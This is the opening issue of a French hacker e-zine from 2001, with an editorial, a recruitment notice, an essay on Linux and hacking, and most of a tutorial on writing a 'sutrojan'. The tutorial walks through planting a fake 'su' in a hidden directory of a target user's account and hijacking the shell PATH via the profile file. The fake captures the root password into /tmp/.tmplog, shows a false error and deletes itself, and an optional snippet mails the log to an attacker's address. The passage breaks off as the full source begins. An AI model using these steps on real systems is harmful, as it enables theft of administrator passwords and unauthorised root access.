.: Input Output Corporation :. http://ioc.multimania.com [ IOC Magazine ] Issue#1 v.4 Reédition 12/2001 ------------------------------------------------------------------------------------------- >>> EDITO <<< ------------------------------------------------------------------------------------------- Nous y voilà enfin, la sortie du tout premier numéro de notre magazine. Depuis le mois de juin qu'on a quand même pas mal travaillé dessus et j'espère franchement qu'il vous plaira. Contrairement à plusieurs autres magazines qui existent déjà, je parle en mon nom parce que je sais pas pour les autres membres, mais je ne fais pas ça pour le fun ou encore parce que j'ai rien d'autre à faire. J'ai des tas de choses à faire ou apprendre, personne n'a la science infuse. Je fais ça simplement parce que dans l'optique d'apprendre plus, je partage mes connaissances, puis si à un certain point elles ont des lacunes, peut être que quelqu'un me le fera savoir et j'apprendrais alors un peu plus. La plupart des autres magazines n'innovent pas tellement. Les rares bons magazines que j'ai vu sont Hackoustic qui nous sort des articles qui pour la plupart ne sont pas encore sortis (puis le coup du caramail, fallait y penser aussi, félicitations les gars). Puis j'ai aussi vu Hackoff qui ne savait pas trop quoi mettre au tout début, mais à partir des numéros 12-13, le niveau est bien monté. Il y a certainement d'autres bons magazines récents (je parle pas de NoRoute ou NoWay donc). Dans l'optique de continuer sur cette ligne de renouveau, notre magazine publiera par la suite des articles sur des sujets peu connus, ou difficilement compréhensibles même si plusieurs magazines les ont sortis. Il y aura aussi des parties actualité/société qui essaieront de décrypter certains aspects assez chiants à comprendre (1er numéro on est dans les attentats aux USA et le futur de l'afghanistan). Sinon, à part vous souhaiter beaucoup de plaisir à lire ce magazine, je ne sais pas quoi vous dire d'autre...oh, puis je vais rien vous dire d'autre et je vais vous laisser lire... ___ ____ _ _ _ _ __ _____ _____ / _\/ \ | \ / || \ / | /\ |__|| __ \ ___| \ / / \ | \ / || \ / | / \ __ | \/ / |__ _ \ \ | /\ || \/ || \/ |/ \| || /| __| / |__ \| \/ || |\ /| || |\ /| | /\ \ || |\ \| | \ / \ / | | \/ | || | \/ | | /__\ \ || | \ \ |___ \___/ \____/ |_| |_||_| |_|/ \__\||_| \_\____| I. -= On recrute =- => Lex Icon II. -= About Linux =- => Lex Icon III. -= Prog. sutrojan =- => NeoFox IV. -= Synflooding =- => Lex Icon V. -= Tunneling =- => Lex Icon VI. -= NFS en détail =- => NeoFox VII. -= Sécurité Linux =- => Lex Icon VIII. -= Intro. à TCP/IP =- => NeoFox 05/2002 : Les captures d'écran illustrant l'article de neofox sur NFS sont de nouveau disponnibles ( pics.zip ). ------------------------------------------------------------------------------------------- I. >>> On recrute ! <<< ------------------------------------------------------------------------------------------- Bon, on est que deux pour écrire ce magazine et on trouve que c'est pas suffisant. On cherche des hackers, des phreakers, des programmeurs....enfin tout ce qui touche à la culture underground. Mais attention, on veut pas que des gars qui ont lu 2 lignes sur le hacking se mettent à nous écrire pour nous faire des articles. Sachez aussi que tous les articles dans le genre 'exploitation du netbios de windows' ou 'connexion infonie' ou encore 'mail anonyme' ne seront pas publiés car ils sont trop connus et trop fréquents. Si vous avez des cours de prog en C++, en assembleur, en perl, en tcl....en tout sauf en VB et en C, alors vous nous intéressez. Si vous avez des cours sur des techniques de hack inconnues ou pas encore très connues (il y en a), ou que vous avez écrit votre propre exploit...écrivez nous. Vous avez réussi à phoner gratos en utilisant une technique pas connue de FT et vous voulez la faire partager au monde entier, écrivez nous (là vous êtes pas obligé, on tient pas à vous attirer d'ennuis). Enfin, il y en a des choses à dire... ------------------------------------------------------------------------------------------- II. Vous avez dit Linux ? par Lex Icon ------------------------------------------------------------------------------------------- [ PERSPECTIVES HISTORIQUES ] Au tout début des années 90, un étudiant Finlandais nommé Linus Torvalds a un ordinateur avec un processeur de type i386, avec le système MS-DOS. Or il se trouve que le système msdos n'exploite pas vraiment toute la puissance du 386, ce qui est remarqué rapidement par Linus, qui décide de se créer son propre système d'exploitation, basé sur un clone d'unix : MINIX. Peu après, son système est terminé, mais il est vraiment très réduit : il n'y a même pas de gestion du lecteur de disquette par exemple, et sachant qu'il lui faudra pas mal de temps pour en faire un vrai système, Linus décide de mettre les sources de son système en libre téléchargement sur le serveur ftp de son université et le signale au passage sur plusieurs forums de discussion Des dizaines de bons programmeurs s'y intéressent et améliorent le système, jusqu'à 1992, année durant laquelle la société SuSE s'intéresse encore plus à ce projet et décide de le mettre sur cdrom et de le distribuer afin de le faire connaître par les gens qui n'ont pas Internet. Puis après c'est au tout de RedHat, puis Slackware...et régulièrement ces entreprises sortent une nouvelle version de Linux, différente des autres, avec un seul point commun, un noyau amélioré sans cesse car c'est le coeur de ce système. [ POURQUOI LINUX INTERESSE T IL LES HACKERS ? ] A la base, les hackers intéréssés par linux sont les véritables hackers, les programmeurs hors pair, car ce système a été pensé pour eux : un système à développer. Depuis quelque temps, c'est un système pour développer aussi, car tous les outils de programmation sont fournis : compilateur, débugger, éditeur hexa...mais les crackers (hackers actuels) s'y intéressent aussi car c'est un système semblable à UNIX, et pour comprendre UNIX, il faut soit le ré-inventer soit travailler dessus. [ LINUX vs MICROSOFT ] Il ne faut pas voir en Linux un éventuel successeur de Windows. C'est pourtant ce que veulent les gens. Windows a été pensé pour les gens qui sont nuls en informatique. Il se trouve que la terre est peuplée de ces gens là et Bill Gates a été un fin stratège en touchant ces derniers pour se faire de l'argent. Mais voilà que des gens qui sont nuls en informatique veulent se mettre à Linux parce que soi disant c'est un phénomène de mode dans l'underground. Ces gens là savent que Linux est complexe dès le premier abord et veulent le simplifier au maximum, donc le rendre accessible à la majorité et le rendre commercial afin de remplir de fric les poches de sociétés comme RedHat qui vendent Linux pour 300Frs (c'est rien car peu de gens l'achètent, mais si justement il y a de + en + de monde qui l'achète, ça va finir qu''ils vont se les faire en or). On veut du Linux pour le traitement de données : OK. On en veut pour l'audio/vidéo : OK, on en veut pour les jeux : OK, on veut en faire un système fourre tout....là faut pas exagérer : Linux n'a pas été pensé pour faire ça. [ LINUX ET LE HACKING ACTUEL ] De plus en plus de gens ayant rejoint la culture underground passent ou veulent passer à Linux. La plupart y passent parce que un certain site de hacking l'a conseillé. WEB INDEPENDANT, vous savez ce que ça veut dire ? ça veut dire qu'en gros on fait pas de pub. On fait des liens vers des sites, mais on ne doit pas jouer le role de portail vers des magazins. Tout ça parce que certains sites/magazines disent que si on a pas linux : on peut pas hacker. Ce qui est faux, parce que depuis une machine Windows et un client telnet on peut hacker ce qu'on veut tant qu'on en a les capacités (j'ai pas dit que tout le monde peut hacker la nasa comme ça, mais que si on s'y connait, on peut le faire, d'autant que la nasa est sous Windows il me semble). Il faut donc pas dire que si on a linux on peut hacker ce qu'on veut, parce que si on est qu'un gros puceau honteux qui sait à peine lancer un trojan et envoyer un mail au gars du site sur lequel on l'a téléchargé pour lui demander comment ça marche, on arrivera a rien. Il faut pas non plus dire que si on est sous Linux personne ne peut nous hacker. En effet, il arrive que des gens qui sont sous Linux ne se fassent pas hacker, mais ça arrive forcément un jour ou l'autre. Mais ensuite ça dépend de si on se démerde ou non. Le gars qui n'a jamais rien compris au hack se fera forcément hacker s'il traine sous Linux. Quand on sait comment exploiter des failles, on sait comment les éviter. [ CONCLUSION ] Vous avez donc du comprendre que Linux est un système assez ancien comparé à Windows, et qu'il n'a pas suivi le même parcours que ce dernier. Vous avez aussi compris que Linux n'est pas et ne doit pas être un remplaçant de Windows...je dis pas non plus "Oui au monopole Microsoft". Si Linux arrive à dominer Windows, Linux deviendra comme Windows, un système simple à utiliser et vachement réduit qui prendra une place incroyable sur le disque et qui demandera des configurations énormes, bref le contraire du linux actuel. Puis vous avez surtout compris que si quelqu'un vous raconte que si vous avez pas linux vous êtes pas un hacker ou alors vous êtes vachement vulnérable, montrez lui le contraire. Un gars sous Windows qui laisse sa config par défaut ne craint quasiment rien car aucun port permettant d'accéder aux données n'est ouvert...sous Linux, une config par défaut ouvre les ports les plus importants comme le ftp, telnet et sendmail, et ces ports répondent car l'installation de base installe ce qui est sur ces ports. ------------------------------------------------------------------------------------------- III. Sutrojan, concept & programmation par NeoFox ------------------------------------------------------------------------------------------- [ Introduction ] Voici mon tout premier article pour ce tout premier numéro, en espérant qu'il ne soit que le début d'une longue série. C'est aussi la première fois que je prends la plume,( ou le calvier, à vous de voir), pour une publication de ce style. En espérant que vous ayez autant de plaisir à le lire que moi à l'écrire ... [ Here we go ] Cet texte s'adresse à ceux qui désirent comprendre ce que sont les " sutrojans ", comment ils fonctionnent et comment les conçevoir. Aussi ce texte aborde d'une part la théorie, en rapellant le fonctionnement de la commande "SU", et d'autre part la partique, en réalisant le programme étape par étape tout en expliquant les notions de programmations nécessaires. Il s'adresse donc à des gens qui on un minimum de conaissances Unix ( Elites, passez votre chemin ! ) et également quelques bases de programmation C ( pas forcemment sous Unix ). En espérant que vous aprécierez ce texte, bonne lecutre ! [ Sommaire ] Voici en gros comment va se dérouler l'article : Partie I. Le concept -> La commande "SU" : généralités -> Principe des sutrojans Partie II. Programmation -> Les notions utilisées -> supass.c [ Avertissement ] Pas de disclamer dans cette partie, car programmer un sutrojan est parfaitement légal, si tant est que vous ne l'utilisiez pas ailleurs que sur votre propre machine ... Je voulais juste préciser ici que je donne pas un format de sutrojan type, mais juste un exemple de code à partir duquel vous pourez par la suite conçevoir le votre. Partie I : Le concept _____________________ Dans cette première partie, nous allons rapeller le role de la commande "SU" pour en déduire le fonctionnement des sutrojans. On va donc commençer par le commencement. 1) Généralités : ________________ [ La commande su ] Sur une machine unix, chaque utilisateur possède un compte. Ce compte est personnel, est désigné par un Login et protégé par un mot de passe. A chaque compte sont également attribués un identifiant utilisateur apellé "uid" ( USER ID ) et un identifiant du groupe apellé "gid" ( Group ID ). Plus l'uid/gid est faible, plus l'utilisateur se servant de ce compte aura de droits. Il poura modifier certains fichiers alors qu'un utilisateur dont l'uid/gid est inférieur ne le poura pas. Les comptes sont donc hiérarchisés de telle sorte que le compte ayant tout les droits ait l'uid/gid à 0, vous le savez, il s'agit du compte root. Le compte root ne correspond pas à un utilisateur particulier, c'est un compte servant à l'administration du système. Il n'est donc pas utilisé en permanence mais seulement lorsque des opérations particulières doivent être effectuées par le ou les administrateurs et que les comptes classics ne le permettent pas. L'Administrateur peut donc être amené à utiliser le compte root, ce qui implique qu'il doit en connaître le mot de passe. Pour se logger sur le compte root depuis sont compte personnel, il va utiliser la commande " su ". Cette commande siginfie " Subsitute User " et va lui donner un uid 0 et un gid 0. Si l'admin avait voulu prendre l'identité d'un utilisateur, il aurait également utilisé cette commande pour substituer son uid/gid par ceux du compte de l'utilisateur. Le programme su appartient au root et se trouve généralement dans /bin. Lorsqu'un mot de passe lui est soumis, il doit vérifier s'il s'agit du bon, et pour cela vérifier l'entrée correspondante dans /etc/password ou /etc/shadow. Il est donc suid root ce qui signifie qu'il s'exécute avec les privilèges du root. [admin@machine.com]$ cd /bin [admin@machine.com]$ ls -al su -rwsr-xr-x 1 root root 12345 Sept 01 2001 su ^ Notez ici la présence du bit suid. [ Syntaxe ] La syntaxe de su est simple : [admin@machine.com]$ whoami admin [admin@machine.com]$ su Password : [root@machine.com]# whoami root La commande "su" sans argument, demande le compte root et équivaut à " su root ". Vous voyez donc que l'admin doit donner le mot de passe du compte root pour s'y connecter. Il en va de même lorsque su est utilisé pour un autre compte. La commande est alors : [user1@machine.com]$ whoami user1 [user1@machine.com]$ su user2 Password : [user2@machine.com]$ whoami user2 Quand un utilisateur fait un su, il reçoit un prompt " password " lui demandant le mot de passe du compte. Lorsque le mot de passe est entré, il ne s'affiche pas sur l'écran. [ su et sulog ] Lorsqu'une tentative de su est réalisée par un utilisateur, une entrée est généralement ajoutée dans /var/adm/sulog. Ce fichier à les droits suivants : [root@machine.com]# pwd /var/adm [root@machine.com]# ls -al sulog -rw------- root root 90 Sept 01 15:15 sulog [root@machine.com]# On voit donc que seul le root à le droit de lecture/écirture sur ce fichier. [root@machine.com]# cat sulog Sept 11 09:04:27 su: 'su root' succeeded for admin on /dev/ttyp4 (1) Sept 11 09:52:58 su: 'su root' failed for user on /dev/ttyp3 (2) [root@machine.com]# On voit également son contenu : lorsque le su à réussi, autrement dit lorsque l'utilisateur qui a voulu utiliser le compte root en avait le mot de passe, l'entrée n°1 est ajoutée à ce fichier. Si l'utilisateur n'a pas le pass et qu'il essaye un mot au hasard, qui n'est pas le bon, il reçoit un message d'erreur : [user@machine.com]# su Password : su : incorrect password [user@machine.com]# C'est alors l'entrée n°2 qui est ajoutée au sulog. L'administrateur peut donc voir qui a essayé de se logger sur le compte root sans y être invité. A noter que les entrées du ficher sulog ainsi que sa localisation peuvent changer. [ History ] Si nous voulons le mot de passe du compte root, il faut donc savoir si l'utilisateur dont nous utilisons le compte connait le mot de passe désiré. On va vérifier le contenu du fichier qui contient l'history du shell. Si on voit qu'il a déja fait un su auparavant, cela signifie qu'il connait le mot de passe et qu'il se loggera surement en root à l'avenir. Cet utilisateur est une cible potentielle. Il faudra attendre qu'il fasse à nouveau un "su" et en profiter pour enregistrer son mot de passe. [ L'objectif ] Logiquement, ce qui vous intéresse à terme, c'est d'avoir un accès en tant que root, sur la machine et tant qu'à faire, avoir son mot de passe. L'administrateur, ou un utilisateur accrédité, utilise "su" pour se connecter au compte root : il en connait le mot de passe, c'est un fait. Comme cette personne ne va pas pas vous le donner de bon coeur, eh bien, si vous le voulez, il va falloir aller le chercher. C'est là qu'intervient le sutrojan. 2) Le principe : ________________ Pour saisir le mot de passe au moment où l'utilisateur fera un "su", il nous faut créer un programme qui se lançera à l'insu de l'utilisteur et à la place du porgramme réel. Il doit simuler un prompt, enregistrer le mot de passe dans un fichier, puis se supprimer de lui-même pour laisser place au vrai su. Un problème majeur se pose : arriver à faire exécuter notre programme à l'insu de l'utilisateur conçerné ... [ La variable PATH ] Voyons comment se lançe un programme classic : Disons qu'un exécutable 'test' se trouve dans /usr/local/bin/. Lorsque la commande 'test' est entrée, le shell va examiner le contenu d'une variable d'environement pour savoir dans quels répertoires chercher l'exécutable à lançer. Il s'agit de la variable PATH. Elle ressemble à ça : [user@machine.com]$ $PATH /bin:/sbin:/usr/bin/:/usr/local/bin: PATH est donc une suite de répertoires séparés par des : . Lorsque 'test' est entré au prompt, le shell regrade la variable PATH et commençe à chercher l'exécutable 'test' tout dabord dans /bin puis dans /sbin ainsi de suite jusqu'à touver l'exécutable 'test' dans /usr/local/bin. Si un autre programme du même nom ('test') se situe dans /usr/bin par exemple, ce sera lui qui sera lançé et non celui de /usr/local/bin car dans la variable PATH, le répertoire /usr/bin se trouve situé avant /usr/local/bin . Le shell exécutera en effet le premier exécutable nommé 'test' qu'il trouvera. De la même manière ,pour lançer "su" qui se situe dans /bin, le shell va examiner de la variable PATH. Il va donc chercher en premier dans /bin, et trouvera directement l'exécutable. Sachant que le vrai 'su' se trouve dans /bin, pour qu'un autre programme soit lançé à sa place, il faudrait qu'il porte le même nom, en l'occurence 'su' et que le PATH soit modifié de façon à ce que le shell cherche en premier dans l e répertoire où se siuterait le faux su, avant de chercher dans /bin. Là aussi, le shell lançera le premier exécutable nommé "su" qu'il aura trouvé en fouillant les répertoires mentionnés dans le PATH. [ Fichiers de configuraion ] La variable PATH est générée par le fichier de configuration du shell. Si le shell est /bin/bash, le fichier de configuration sera apellé .bash_profile ou .bashrc . Si on utilise sh, ce fichier sera .sh_profile, pour csh ce sera .cshrc . Le ficher peut encore porter le nom de .profile. Bref, il faudra modifier le contenu de ce fichier pour spécifier au shell de chercher le programme en premier dans le répertoire désiré. Dans la pratique, nous allons apeller notre sutrojan 'su' et le dissimuler dans un répertoire caché dans le homedir de l'utilisateur. Ce répertoire sera apellé .term et il se situera donc dans $HOME/.term . A noter au passage que la variable $HOME généree elle aussi par le fichier de configuration du shell. Voici un exemple de fichier de configuration : [user@cible.com]$ cat .profile # .profile # Get the aliases and functions if [ -f ~/.bashrc ]; then . ~/.bashrc fi # User specific environement and startup programs PATH=/usr/local/bin:/bin HOME=/home/user USERNAME="" [user@cible.com]$ Ici, on voit clairement la ligne du fichier .profile qui définit la variable PATH. Pour modifier le fichier de configuration du shell de manière à ce qu'un nouveau PATH soit pris en compte, il faut éditer le fichier avec vi ou pico. Dans ce cas, supposons que nous voulions faire exécuter notre sutrojan qui se cache dans $HOME/.term, il faudra alors modifier le fichier de configuration comme suit : [user@cible.com]$ vi .profile # .profile # Get the aliases and functions if [ -f ~/.bashrc ]; then . ~/.bashrc fi # User specific environement and startup programs PATH=$HOME/.term:/usr/local/bin:/bin <- ! HOME=/home/user USERNAME="" ~ ~ ~ ~ ".profile" 15 L, 230C [user@cible.com]$ Avec vi, nous venons de modifier le PATH dans le fichier .profile de manière à ce que le shell cherche les exécutables à lançer en premier dans le dossier caché .term. La nouvelle variable $PATH n'est encore pas en vigueur mais sera générée selon nos modifications par le .profile lorsque l'utilisateur ouvriera un shell à la prochaine session. Seulement il arrive que les éditeurs soient inutilisables pour diverses raisons. Dans ce cas vous devez donc recourrir à la commande echo pour plaçer la nouvelle ligne dans le fichier. Cette ligne devra être plaçée AVANT l'ancienne sinon les modifications n'auront aucun effet sur le contenu de la variable $PATH. Une solution dans ce cas est de renommer le .profile en .old, puis de créer un nouveau .profile avec notre PATH à nous, et enfin, d'y copier le contenu du .old ( l'ancien .profile ). Cela aura pour effet de mettre notre PATH en premiere position pour qu'il soit actif tout en sauvegrandant le contenu du fichier original. Cela donne donc : [user@cible.com]$ mv .profile .old [user@cible.com]$ echo "PATH=$HOME/.term:$PATH" > .profile [user@cible.com]$ cat .old >> .profile [user@cible.com]$ rm .old [user@cible.com]$ cat .profile PATH=/home/user:/usr/local/bin:/bin # Get the aliases and functions if [ -f ~/.bashrc ]; then . ~/.bashrc fi # User specific environement and startup programs ATH=/usr/local/bin:/bin -> L'ancien PATH n'a plus d'effet. HOME=/home/user USERNAME="" [user@cible.com]$ Voila, on sait maintenant comment modifier le PATH de manière à ce que le shell lançe notre exécutable que nous aurons nommé 'su' à la place de l'original. [ Le log du sutrojan ] Notre programme devra enregistrer le mot de passe dans un fichier d'un répertoire peu fréquenté ou dans lequel il passera inaperçu. Ce fichier devra donc être un fichier caché. Il devra pouvoir être crée avec les droits de l'utilisateur. Il faudra donc le créer dans un répertoire word-writable. Je propose de le mettre dans /tmp et de l'apeller .tmplog . Notre programme stockera donc le mot de passe dans /tmp/.tmplog . [ Le message d'erreur ] Lorsque l'utilisateur fera un 'su', il pensera accéder au compte root. Or notre faux programme ne pourra pas le lui donner ... logique. Pour qu'il ne se doute de rien il va donc falloir lui faire croire qu'il a fait une faute de frappe et tapant le mot de passe et donc que l'accés au compte lui a été refusé. Lorsqu'un mot de passe erroné est donné au vrai su, celui-ci retourne, nous l'avons vu, le message d'erreur " su : incorrect password ". Le programme devra donc générer ce même message aprés avoir loggé le mot de passe. Pour que l'utilisateur ne se doute toujours de rien, il faut bien qu'il finisse par accéder au compte désiré et donc qu'il exécute le vrai su. Notre programme devra donc se supprimer de lui-même. De cette façon, il ne sera plus présent dans le premier répertoire dans lequel le shell va fouiller, et par défaut, c'est le vrai su qui sera exécuté. [ L'installation ] Nous avons téléchargé un sutrojan depuis notre ftp. Il se trouve à présent dans le homedir de la cible. Dans cet exemple, le sutrojan s'apelle supass.c . [user@cible.com]$ ls -al total 3 drwxr-xr-- 3 user group 500 Sept 01 15:15 . drwxr-xr-- 50 root root 12934 Jan 04 00:19 .. -rw------- 1 user group 24 Sept 01 15:17 .history -rw------- 1 user group 12 Sept 01 15:15 .bash_profile -rw-r--r-- 1 user group 123 Aug 25 19:14 userdoc -rw-r--r-- 1 user group 405 Mar 02 1999 hello -rw-r--r-- 1 user group 1203 Sept 01 15:16 supass.c [user@cible.com]$ history 500 mail user2 501 vi userdoc 502 su 503 exit 504 ftp moncompte.com 505 ls -al 506 history [user@cible.com]$ gcc supass.c -o su [user@cible.com]$ chmod +x su [user@cible.com]$ rm supass.c [user@cible.com]$ mkdir .term [user@cible.com]$ mv su .term [user@cible.com]$ls -al total 3 drwxr-xr-- 3 user group 500 Sept 01 15:15 . drwxr-xr-- 50 root root 12934 Jan 04 00:19 .. -rw------- 1 user group 24 Sept 01 15:14 .history -rw------- 1 user group 12 Sept 01 15:12 .bash_profile drw------- 1 user group 1203 Sept 01 15:15 .term -rw-r--r-- 1 user group 123 Aug 25 19:14 userdoc -rw-r--r-- 1 user group 405 Mar 02 1999 hello [user@cible.com]$ls -al total 3 drwxr-xr-- 3 user group 500 Sept 01 15:15 . drwxr-xr-- 50 root root 12934 Jan 04 00:19 .. -rw------- 1 user group 24 Sept 01 15:14 .history -rw------- 1 user group 12 Sept 01 15:15 .bash_profile -rw------- 1 user group 12 Sept 01 15:15 .bashrc drw------- 1 user group 1203 Sept 01 15:15 .term -rw-r--r-- 1 user group 123 Aug 25 19:14 userdoc -rw-r--r-- 1 user group 405 Mar 02 1999 hello [user@cible.com]$ echo $PATH /bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin: [user@cible.com]$ mv .bashrc .old [user@cible.com]$ echo " PATH=$HOME/.term:$PATH " > .bashrc [user@cible.com]$ cat .old >> .bashrc [user@cible.com]$ rm .old [user@cible.com]$ cd .term [user@cible.com]$ pwd /home/usr/.term [user@cible.com]$ ls -al su total 1 -rwxr-xr-x 1 user group 200 Sept 01 15:17 su [user@cible.com]$ exit Voila, vous savez comment plaçer le faux 'su' dans un répertoire caché du homedir. Sa position est donc /home/user/.term/su ou $HOME/.term/su. Le mot de passe sera enregistré dans /tmp/.tmplog. Vous savez aussi comment modifier le contenu de la variable PATH. Dans cet exemple, lorsque l'utilisateur va taper 'su', le shell /bin/bash va regarder la variable PATH. Cette dernière lui dit de chercher en premier un exécutable nommé 'su' dans /home/user/.term . C'est donc le notre qui va être lançé en premier. [ Quand "user" voudra passer root ... ] Une fois le programme installé, nous partons. L'utilisateur "user" vient sur son compte quelques jours plutard. Lorsqu'il veut faire un su, Voici ce qui se passe : [user@machine.com]$ ls userdoc hello -> rien n'a bougé, mes fichiers sont là ... [user@machine.com]$ su Password : su : incorrect password -> tien, mauvais pass ... ... je réessaye ... [user@machine.com]$ su Password : [root@machine.com]# -> non, c'est bon, tout va bien, j'avais du faire une faute de frappe. Seulement voila, un fichier ".tmplog" contenant le mot de passe a été crée dans /tmp, et le sutrojan s'est supprimé de lui-même. Bien, mainenant que nous avons vu l'aspect théorique du sutrojan et la façon dont il peut être employé, il est temps de penser à la manière de le programmer. Partie II : La programmation _____________________________ A ce stade, on connait exactement le fonctionnement d'un sutrojan. Nous allons voir les notions de programmation dont nous avons besion en fonction de ce l'effet souhaité. [ Effet souhaité ] Nous voulons un programme : - qui se lançe à l'insu de l'utilisateur ( ça on sait faire ... ) - qui simule un prompt de password - qui capture le mot de passe sans que celui ci ne s'affiche à l'écran - qui crée un fichier /tmp/.tmplog - qui enregistre le mot de passe dans ce fichier - qui simule une erreur de frappe - enfin, qui se supprime de lui même Le langage utilisé sera le C ... [ Notions de programmation en C à connaître ] Voici les points clés que nous allons détailler : - Fonction "getpass()" - Entrées/sorties standard - Ouverture/fermeture de fichiers - Ecriture dans un fichier On va donc voir tout ça un par un ... 1) Les Notions à Utiliser : ___________________________ [ La fonction "getpass()" ] Nous voulons que notre programme simule un prompt où l'utilisateur entrera son mot de passe. On pense desuite à un truc du genre : printf("\nPassword : "); scanf("%s",&saisie); Mais voila, lors d'un vrai su, le mot de passe entré ne s'affiche pas sur l'écran. Or si l'on utilise la fonction scanf, le mot de passe va s'affichier et l'utilisateur pourait se douter de quelque chose. Il faut donc utiliser une autre fonction pour arriver à nos fins. La fonction idéale est getpass(). Elle est contenu dans le header . Voici sa sysntaxe : #include void main () { char *variable; variable=(char *) getpass("Password: "); } Personellement, je préfère : #include main() { char *variable; char *getpass(); variable=getpass("Password: "); } Libre à vous de choisir la votre ... de tout façon, ça revient au même ! Cette fonction saisie donc le mot de passe depuis le clavier avant qu'il ne s'affiche, puis le plaçe dans une variable. [ Entrée/sorties standards ] Lorsqu'un programme est exécuté, 5 fichiers de périphériques s'ouvrent : - Entrée Standard ( standard input ) - Sortie Standard ( standard output ) - Sortie d'Erreur ( error output ) - Fichier auxiliaire - Imprimante Standard ( standard printer ) L'entrée standard est le clavier, la sortie standard est l'écran, la sortie standard pour les erreurs est généralement l'écran, le fichier auxiliaire est prévu pour les opérations d'entrées/sorties via un port série, et l'imprimante standard est ... ... ben, l'imprimante . Le header ( STanDard Input/Output ) définit pour chacun un pointeur de type *FILE. Les pointeurs sont : - stdin ( standard input ) qui est rattaché à l'entrée standard ( clavier ) - stdout ( standard output ) qui désigne la sortie standard ( par défaut, l'écran ) - stderr ( error output ) qui désigne la sortie d'erreur ( par défaut l'écran ) - stdaux - stdlpr Chaque pointeur est donc rattaché au périphérique correspondant. Ceux qui vont nous intéresser sont les 3 premiers. [ Redirection d'entrées/sorties ] L'entrée standard est le clavier et la sortie standard est l'ecran ... On peut avoir cependant vouloir saisir un texte au clavier et l'enregristrer dans un fichier. La sortie serait à ce moment là le fichier. C'est ce qu'on apelle une redirection de sortie. On peut vouloir aussi que le programme puisse lire un texte depuis un fichier et l'afficher à l'écran. Dans ce cas, l'entrée est le fichier et la sortie, l'écran. C'est ce qu'on apelle une redirection d'entrée. Pour rediriger une entrée/sortie, il faut en premier lieu fermer l'entrée ou la sortie standard. L'entrée standard se ferme par l'instruction : "close(0);" La sortie standart se ferme par l'instruction : "close(1);" La sortie d'erreurs se ferme par l'instruction : "close(2);" Pour notre sutrojan, nous avons besoin que le mot de passe s'enregistre dans un fichier. La sortie sera à ce moment là le fichier. Nous devrons donc faire une redirection de sortie. La fonction printf() affiche du texte sur la sortie standard. Si on ferme la sortie standard par "close(1);" elle n'affichera rien sur l'écran. Pour que le texte s'affiche sur une autre sortie, ici un fichier, il faut dans un premier temps fermer la sortie standard par close(1); puis ouvrir un fichier en écriture qui sera concidéré comme la nouvelle sortie. Une fois la sortie standard fermée et le fichier crée, tout les instruction printf(), putc(); etc ... afficheront leur texte directement dans le fichier. La fonction printf(); affiche par défaut son texte sur la sortie standard (stdout). On peut vouloir que le texte s'affiche sur une autre sortie que la sortie standard, si par exemple cette dernière est fermée. On peut donc demander au programme de faire afficher du texte directement sur la sortie d'erreur (stderr). Il faut pour cela faire appel à la fonction fprintf(); . La fonction fprintf(); permet l'écriture formatée dans un fichier. Elle permet donc l'écriture dans un fichier de périphérique de sortie. On l'utilisera ici pour diriger l'affichage du texte dans le fichier de sortie d'erreur ( stderr ) qui sera toujours ouverte lorsque la sortie standard sera fermée. Cela donnera : fprintf(stderr, "texte"); [ Création de fichiers ] Pour sotcker le mot de passe, un fichier caché ( nous avons convenu de /tmp/.tmplog ) doit être crée. On utilise pour cela la fonction open(); Sa syntaxe est : open (char *filename, int flags); Les flags sont les options de la fonction open qui correspondent au différents modes d'ouverture : création du fichier s'il n'existait pas, ouverture en mode lecture, en mode ecriture ou en mode ajout. On peut également préciser les droits du futur fichier. Les flags sont les suivants : O_CREAT : création. Le fichier est crée s'il n'existait pas. O_RDONLY : read only. Ouverture en mode lecture. O_WRONLY : write only. Ouverture en mode écriture. O_APPEND : Ouverture en mode ajout. Si le fichier contient déja du texte, le texte saisi sera ajouté à la suite. Nous voulons donc créer un fichier ouvert en mode écriture et ajout ( car le fichier de log peut servir pour stocker plusieurs mots de passe de plusieurs sutrojans ). On veut aussi qu'il soit -rw-rw-rw- ce qui correspond à un mode 0666. On va donc utiliser : open (FILE, O_CERAT | O_WRONLY | O_APPEND, 0666); Ici, char *filename est un pointeur de type char qui pointe vers une constant définit par : #define FILENAME "/tmp/.tmplog" La constante FILENAME peut tout aussi bien être nommée différemment. Dans le code source de la prochaine partie, je l'ai apellée PASSLOG. Voila pour ce qui est de la création d'un fichier. Lorsque la sortie standard sera fermée et ce fichier ouvert, les* fonctions printf afficheront du texte en direction de la nouvelle sortie qui sera justement ce fichier. Une fois le fichier crée et le mot de passe enregistrer, le programme devra faire croire à une erreur de frappe puis se supprimer de lui-même. [ Suppression automatique ] Pour se supprimer tout seul, le programme doit auto-exécuter une commande de suppression. Comme la commande "rm" seule peut demande confirmation, on va utiliser l'option "-f" pour forçer la suppression. La commande sera donc "rm -f". Nous allons écrire la commande dans un buffer à l'aide de la fonction sprintf(); et exécuter ensuite ce buffer grâce à la commande system(); . - La fonction sprintf(); permet d'écrire dans un buffer. Elle est définie dans et sa syntaxe est : sprintf (char *buffer, const char *format, ... ); - Contenue dans , la fonction system(); permet d'exécuter une commande contenue dans un buffer. Elle apelle pour cela " /bin/sh -c ". L'option "-c" utilisée lorsque la fonction system(); invoque le shell, permet de spécifier au shell une commande précise à exécuter. La syntaxe de la fonction system(); est : system("commande"); ou system(buffer); La fonction main(); de notre programme sera apellée par : int main ( int argc, char *argv[] ) Ici, "argc" désignera le nombre d'arguments de la ligne de commande, argv[0], le programme lui même comme premier argument et argv[1] le second argument. Donc si le programme est apellé par " ./su user " : argv[0]="su" argv[1]="user" Si le sutrojan est installé dans $HOME/.term voici comment le faire se supprimer de lui-même : char buffer [20]; sprintf(buffer, "rm -f $HOME/.term/%s", argv[0]); system(buffer); [ Sortie du programme ] Une fois la commande de supression prête à être exécutée par le shell, le programme se termine par la fonction "exit();". Voila, nous venons de voir les grandes étapes de la programmation d'un sutrojan. Tous les sutrojans ne sont cependant pas identiques, et on peut ajouter certaines options, je pense par exemple à un truc du style de : # define FILENAME "/tmp/.tmplog" # define MAIL "yourmail@chezquivousvoulez.com" char buffer2 [20]; sprintf(buffer, "/bin/mail %s < %s", MAIL, FILENAME); system(buffer); ce qui aura pour effet de vous envoyer le contenu du ficher de log par mail. Bien, maintenant qu'on a toutes les notions, on va programmer la bête ... 2) supass.c : _____________ Voici le code source de notre sutrojan une fois terminé. Ce n'est qu'une version basique mais elle est suffisante pour ce à quoi on la destine. -------------8<--- cut here -------------------------------------------------------------- /* supass.c by NeoFøx - © 